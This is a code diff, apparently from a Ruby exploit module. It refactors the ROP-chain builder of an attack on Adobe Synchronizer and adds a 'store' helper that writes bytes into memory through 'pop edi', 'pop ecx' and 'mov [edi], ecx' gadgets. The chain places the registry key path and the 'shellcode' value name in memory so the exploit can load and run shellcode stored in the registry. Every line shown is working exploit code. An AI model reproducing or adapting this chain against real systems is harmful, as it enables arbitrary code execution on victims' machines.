@@ -185,6 +185,19 @@ def search_gadgets
185
185
vprint_good ( "Gadget 'pop edi # ret' found at 0x#{ @gadgets [ 'pop ecx # ret' ] . to_s ( 16 ) } " )
186
186
end
187
187
188
+ def store ( buf , data , address )
189
+ i = 0
190
+ while ( i < data . length )
191
+ buf << [ @gadgets [ 'pop edi # ret' ] ] . pack ( "V" )
192
+ buf << [ address + i ] . pack ( "V" ) # edi
193
+ buf << [ @gadgets [ 'pop ecx # ret' ] ] . pack ( "V" )
194
+ buf << data [ i , 4 ] . ljust ( 4 , "\x00 " ) # ecx
195
+ buf << [ @gadgets [ 'mov [edi], ecx # ret' ] ] . pack ( "V" )
196
+ i = i + 4
197
+ end
198
+ return i
199
+ end
200
+
188
201
def create_rop_chain
189
202
mem = 0x0c0c0c0c
190
203
@@ -210,31 +223,13 @@ def create_rop_chain
210
223
211
224
# Put in the allocated memory the necessary data in order to read the
212
225
# shellcode stored in the registry
213
- # The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
214
- # The reg entry: shellcode
215
- # The output buffer size: 0x3000
226
+ # 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
216
227
reg_key = "Software\\ Adobe\\ Adobe Synchronizer\\ 10.0\\ DBRecoveryOptions\x00 "
217
- j = 0
218
- while ( j < reg_key . length )
219
- buf << [ @gadgets [ 'pop edi # ret' ] ] . pack ( "V" )
220
- buf << [ mem + j ] . pack ( "V" ) # edi
221
- buf << [ @gadgets [ 'pop ecx # ret' ] ] . pack ( "V" )
222
- buf << reg_key [ j , 4 ] . ljust ( 4 , "\x00 " ) # ecx
223
- buf << [ @gadgets [ 'mov [edi], ecx # ret' ] ] . pack ( "V" )
224
- j = j + 4
225
- end
226
- k = j
228
+ reg_key_length = store ( buf , reg_key , mem )
229
+ # 2) The reg entry: shellcode
227
230
value_key = "shellcode\x00 "
228
- j = 0
229
- while ( j < value_key . length )
230
- buf << [ @gadgets [ 'pop edi # ret' ] ] . pack ( "V" )
231
- buf << [ mem + k + j ] . pack ( "V" ) # edi
232
- buf << [ @gadgets [ 'pop ecx # ret' ] ] . pack ( "V" )
233
- buf << value_key [ j , 4 ] . ljust ( 4 , "\x00 " ) # ecx
234
- buf << [ @gadgets [ 'mov [edi], ecx # ret' ] ] . pack ( "V" )
235
- j = j + 4
236
- end
237
-
231
+ store ( buf , value_key , mem + reg_key_length )
232
+ # 3) The output buffer size: 0x3000
238
233
size_buffer = 0x3000
239
234
buf << [ @gadgets [ 'pop edi # ret' ] ] . pack ( "V" )
240
235
buf << [ mem + 0x50 ] . pack ( "V" ) # edi
0 commit comments